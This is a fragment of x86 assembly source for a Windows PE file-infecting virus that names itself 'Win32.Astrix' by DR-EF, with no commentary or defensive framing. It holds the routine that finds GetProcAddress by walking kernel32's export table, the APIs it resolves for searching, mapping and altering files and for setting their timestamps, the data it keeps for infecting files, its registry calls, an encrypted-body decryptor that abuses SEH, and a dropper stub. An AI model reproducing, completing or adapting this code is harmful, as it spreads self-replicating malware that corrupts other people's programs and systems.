add ebx,[ebp + offset kernel_base]
|
|
mov ebx,[ebx]
|
|
add ebx,[ebp + offset kernel_base] ; get address of api names array
|
|
push ebx ; save it
|
|
mov ebx,[eax + 24h] ;get address of api ordinals array
|
|
add ebx,[ebp + offset kernel_base]
|
|
mov [ebp + address_of_apis_ordinals],ebx ; save it
|
|
;search the "GetProcAddress" string in the names array:
|
|
|
|
; edi - pointer to names array
|
|
; esi - pointer to "GetProcAddress" string
|
|
; ecx - will hold the ordianl number
|
|
xor ecx,ecx
|
|
pop edi
|
|
next_l: lea esi,[ebp + get_proc_address]
|
|
cmpsb
|
|
je check_word
|
|
cmp byte ptr [edi],00h
|
|
jne not_inc
|
|
inc ecx
|
|
not_inc:
|
|
cmp ecx,[ebp + numbers_of_exported_apis]
|
|
jne next_l
|
|
check_word:
|
|
push ecx
|
|
mov ecx,0eh ;check 14 bytes
|
|
check_loop: cmpsb
|
|
jne not_match
|
|
loop check_loop
|
|
pop ecx
|
|
jmp founded
|
|
not_match:
|
|
pop ecx
|
|
jmp next_l
|
|
founded:
|
|
;get the function:
|
|
shl cx,1h
|
|
mov ebx,[ebp + address_of_apis_ordinals]
|
|
add ebx,ecx
|
|
mov cx,word ptr [ebx]
|
|
shl ecx,2h
|
|
add ecx,[ebp + address_of_apis]
|
|
mov ecx,[ecx]
|
|
add ecx,[ebp + kernel_base]
|
|
mov [ebp + _GetProcAddress],ecx ; save it
|
|
ret
|
|
|
|
copyright db "Win32.Astrix Virus Coded By DR-EF All Right Reserved",0
|
|
;apis:
|
|
get_proc_address db "GetProcAddress",0
|
|
api_strings: FindFirstFile db "FindFirstFileA",0
|
|
FindNextFile db "FindNextFileA",0
|
|
GetCurrentDirectory db "GetCurrentDirectoryA",0
|
|
SetCurrentDirectory db "SetCurrentDirectoryA",0
|
|
CreateFile db "CreateFileA",0
|
|
CloseHandle db "CloseHandle",0
|
|
CreateFileMapping db "CreateFileMappingA",0
|
|
MapViewOfFile db "MapViewOfFile",0
|
|
UnmapViewOfFile db "UnmapViewOfFile",0
|
|
GetTickCount db "GetTickCount",0
|
|
SetFileAttributes db "SetFileAttributesA",0
|
|
LoadLibrary db "LoadLibraryA",0
|
|
SetFilePointer db "SetFilePointer",0
|
|
SetEndOfFile db "SetEndOfFile",0
|
|
GlobalAlloc db "GlobalAlloc",0
|
|
GlobalFree db "GlobalFree",0
|
|
GetModuleFileName db "GetModuleFileNameA",0
|
|
GetLocalTime db "GetLocalTime",0
|
|
GetFileTime db "GetFileTime",0
|
|
SetFileTime db "SetFileTime",0
|
|
GetFileSize db "GetFileSize",0
|
|
kernel_base dd 0
|
|
_GetProcAddress dd 0
|
|
api_addresses: _FindFirstFile dd 0
|
|
_FindNextFile dd 0
|
|
_GetCurrentDirectory dd 0
|
|
_SetCurrentDirectory dd 0
|
|
_CreateFile dd 0
|
|
_CloseHandle dd 0
|
|
_CreateFileMapping dd 0
|
|
_MapViewOfFile dd 0
|
|
_UnmapViewOfFile dd 0
|
|
_GetTickCount dd 0
|
|
_SetFileAttributes dd 0
|
|
_LoadLibrary dd 0
|
|
_SetFilePointer dd 0
|
|
_SetEndOfFile dd 0
|
|
_GlobalAlloc dd 0
|
|
_GlobalFree dd 0
|
|
_GetModuleFileName dd 0
|
|
_GetLocalTime dd 0
|
|
_GetFileTime dd 0
|
|
_SetFileTime dd 0
|
|
_GetFileSize dd 0
|
|
;--------------- export table:
|
|
numbers_of_exported_apis dd 0
|
|
address_of_apis dd 0
|
|
address_of_apis_ordinals dd 0
|
|
number_of_apis equ 15h
|
|
;-----------------------------
|
|
max_path equ 260
|
|
OPEN_EXISTING equ 3
|
|
FILE_SHARE_READ equ 1
|
|
FILE_ATTRIBUTE_NORMAL equ 00000080h
|
|
GENERIC_WRITE equ 40000000h
|
|
GENERIC_READ equ 80000000h
|
|
PAGE_READWRITE equ 4h
|
|
PAGE_READONLY equ 2h
|
|
FILE_MAP_WRITE equ 00000002h
|
|
FILE_MAP_READ equ 00000004h
|
|
FILE_BEGIN equ 0
|
|
GPTR equ 0040h
|
|
allocated_memory_handle dd 0
|
|
opened_file_handle dd 0
|
|
map_handle dd 0
|
|
map_base dd 0
|
|
;FILETIME structures
|
|
creation_time:
|
|
dd 0,0
|
|
last_access_time:
|
|
dd 0,0
|
|
last_write_time:
|
|
dd 0,0
|
|
;WIN32_FIND_DATA structure
|
|
WIN32_FIND_DATA:
|
|
dwFileAttributes dd 0
|
|
ftCreationTime dq 0
|
|
ftLastAccessTime dq 0
|
|
ftLastWriteTime dq 0
|
|
nFileSizeHigh dd 0
|
|
nFileSizeLow dd 0
|
|
dwReserved0 dd 0
|
|
dwReserved1 dd 0
|
|
cFileName db max_path dup (0)
|
|
cAlternateFileName db 14 dup (0)
|
|
;file search:
|
|
search_mask db "*.*",0
|
|
INVALID_HANDLE_VALUE equ -1
|
|
Current_Directory db max_path dup (0)
|
|
directory_name_size dd 0
|
|
file_handle dd 0
|
|
;infection data:
|
|
infection_counter db 0
|
|
number_of_sections dw 0
|
|
file_alignment dd 0
|
|
host_image_base dd 0
|
|
number_directories_entries dd 0
|
|
last_section dd 0
|
|
where_to_write_decryptor dd 0
|
|
file_old_attributes dd 0
|
|
free_space dd 0
|
|
infected_file db 0ffh dup(0)
|
|
;registry functions:
|
|
advapi32_dll db "Advapi32.dll",0
|
|
reg_funcs: RegOpenKeyEx db "RegOpenKeyExA",0
|
|
RegQueryValueEx db "RegQueryValueExA",0
|
|
RegCloseKey db "RegCloseKey",0
|
|
RegSetValueExA db "RegSetValueExA",0
|
|
reg_funcs_add: _RegOpenKeyEx dd 0
|
|
_RegQueryValueEx dd 0
|
|
_RegCloseKey dd 0
|
|
_RegSetValueExA dd 0
|
|
HKEY_CURRENT_USER equ 80000001h
|
|
KEY_QUERY_VALUE equ 0001h
|
|
ERROR_SUCCESS equ 0h
|
|
KEY_WRITE equ 00020006h
|
|
REG_DWORD equ 4h
|
|
hkey dd 0
|
|
|
|
virus_decryptor: ;normal virus decryptor
|
|
vl_cmd1: mov_esi_virus_ep db 0beh,0,0,0,0
|
|
vl_cmd2: push esi
|
|
vl_cmd3: mov edi,esi
|
|
vl_cmd4: mov ecx,(virus_size/2)
|
|
vl_cmd5: lodsw
|
|
vl_cmd6: sub al,cl
|
|
vl_cmd7: rol ax,cl
|
|
vl_cmd8: xor_ax_key db 66h,35h,0,0
|
|
vl_cmd9: ror ah,1h
|
|
vl_cmd10: stosw
|
|
vl_cmd11: db 0e2h,(vl_cmd4-vl_cmd11) ;loop vl_cmd5 ;decrypt
|
|
vl_cmd12: push dword ptr fs:[ecx]
|
|
vl_cmd13: mov fs:[ecx],esp
|
|
vl_cmd14: mov dword ptr [ecx],eax
|
|
end_virus_decryptor:
|
|
decrypt_virus:
|
|
pop edi
|
|
push edi
|
|
mov esi,edi
|
|
mov ecx,(decrypt_virus-start_ecrypt)
|
|
decrypt_v: lodsb
|
|
push ecx
|
|
xor_al_key db 34h,00h
|
|
mov_cl_key db 0b1h,00h
|
|
ror al,cl
|
|
pop ecx
|
|
stosb
|
|
loop decrypt_v
|
|
push dword ptr fs:[ecx] ;set SEH
|
|
mov fs:[ecx],esp
|
|
mov dword ptr [ecx],ebx ;return to the virus
|
|
End_Astrix:
|
|
|
|
fake_host:
|
|
xor ebp,ebp ;first generation delta offset
|
|
push offset fake_host_p
|
|
pushad
|
|
jmp first_g
|
|
fake_host_p: push 40h ;first generation host
|
|
push offset virus_name
|
|
push offset virus_info
|
|
push 0h
|
|
call MessageBoxA
|
|
push eax
|
|
call ExitProcess
|
|
virus_info db "Astrix Virus Version 1.0 (c) 2004 DR-EF All Rights Reserved !",0
|
|
virus_name db "Astrix Virus Dropper.",0
|
|
end fake_host
|